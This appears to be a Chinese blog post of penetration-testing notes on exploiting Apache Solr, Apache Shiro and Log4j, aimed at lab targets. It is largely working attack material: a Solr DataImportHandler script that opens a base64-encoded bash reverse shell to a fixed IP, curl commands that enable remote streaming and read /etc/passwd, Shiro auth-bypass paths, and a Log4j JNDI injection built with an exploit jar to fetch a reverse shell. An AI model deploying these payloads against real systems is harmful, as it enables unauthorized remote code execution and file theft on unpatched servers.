当前位置: 首页 > news >正文

JAVA组件的利用漏洞 Shlr搜索引擎 shiro身份 Log4j日志

solr组件

1、作用 : 基于http和apache lucene  进行全文搜索服务器

2、识别:

第一个就是图标类似于华为的那个   

然后就是端口标识是  8983

3、CVE利用:

1、命令执行(CVE-2019-17558)

Apache Solr 5.0.0版本至8.3.1

工具:https://github.com/jas502n/solr_rce

2、远程代码执行(条件很苛刻)
CVE-2019-0193
Apache Solr < 8.2.0版本  (这个版本的话当然也是可以直接执行 上边的命令执行)

条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)

条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

UI鉴权就是我们不需要进行验证就能登录他的这个sorl后台  一般需要鉴权的如下

利用:

在点进 之后进入 debug模式输入

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

这个现在还是比较少见的了

3、sorl  SSRF和任意文件的读取

利用:

http://xxxxxx:8983/solr/admin/cores?indexInfo=false&wt=json

利用 
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'


demo    是他的name

2、访问触发
curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://47.94.236.117:8983/solr/demo/config'
3、任意文件读取
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Shiro

他的功能就是我们登录的时候点击一个记住我 下次就不用登陆了  这个就是他的功能

识别:

请求头  有个remmberME=1  

影响范围:Apache Shiro <= 1.2.4w

利用

1、反序列化造成的RCE

利用链:链就是 就是它已经加载的这个maven驱动或者是java自带的库

所以面试会问  有key无链怎么办? 1、爆破 2、就是利用java自带的库

授权绕过CVE-2020-11989

Apache Shiro < 1.7.1

本地部署 github上可以直接下载

https://github.com/jweny/shiro-cve-2020-17523 

基本逻辑: 我们输入admin的时候会弹窗  就是因为他设置了一个  map   authc

绕过:版本是在这个范围的

poc

/admin/%20
但是当我们把map删除之后也会失败  版本超也会失败    : 所以CVE的利用和程序设置和版本有很大的关系
3、CVE-2020-1957

利用:

/xxx/..;/admin/
4、CVE-2022-32532

exp:

/permit/a%0any

Log4j

黑盒下很难识别 最简单的方式就是盲打

一般我们攻击这个组件就是使用JNDI 进行注入

先构造一个base64加密的反弹shell

bash -i >& /dev/tcp/192.168.21.17/5566>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjE3LzU1NjY+JjE=

使用jndi工具进行生成一个反弹shell的注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjE3LzU1NjY+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.21.17

rmi:// 192.168.21.17:1099/zzmaai

靶场这里有个可控制的变量payload   把我们的exp进行url编码 :

${jndi:rmi://47.94.236.117:1099/osutj8}

执行成功

经过测试我们知道蓝队中jndi攻击的特征就是   ${jndi:}   这样的payload标识

http://www.dtcms.com/a/86207.html

相关文章:

  • 常见中间件漏洞(tomcat)
  • 深入解析 Spring IOC AOP:原理、源码与实战
  • 屏幕刷新机制(一):机制
  • 用tensorboard支持pytorch训练可视化
  • JAVA学习*Object类
  • gbase8s cdc协议解析
  • 多源最短路径算法(竞赛)
  • 第45章:配置更新与应用热重载策略
  • VMware上对CentOS7虚拟机进行磁盘扩容、缩容
  • Uthana,AI 3D角色动画生成平台
  • Python第六章08:元组操作练习题
  • C++ 学习笔记(四)—— 类和对象
  • 【计算机操作系统】深入剖析操作系统中的存储器管理:从基础到高级
  • 如何高效参与 GitHub 知名项目开发并成为核心贡献者
  • Ubuntu Debian 系统下挂载 Samba 共享目录的完整指南
  • 用java写一个简易的本地聊天室
  • 使用vscode搭建pywebview集成vue项目示例
  • bonding技术
  • span与span之间的空白如何解决?
  • Shopify Checkout UI Extensions
  • 电阻的阻值识别
  • 数据结构5(初):排序
  • 【跟着灵神刷力扣】定长滑动窗口
  • 【动态规划】相关复习
  • python数据增强和转换
  • linux 设置tomcat开机自启动
  • 面试常问系列(一)-神经网络参数初始化
  • 大模型量化框架GPTQModel的基本使用方法
  • 【yolo】yolo训练报错,以及解决方案
  • Linux 线程概念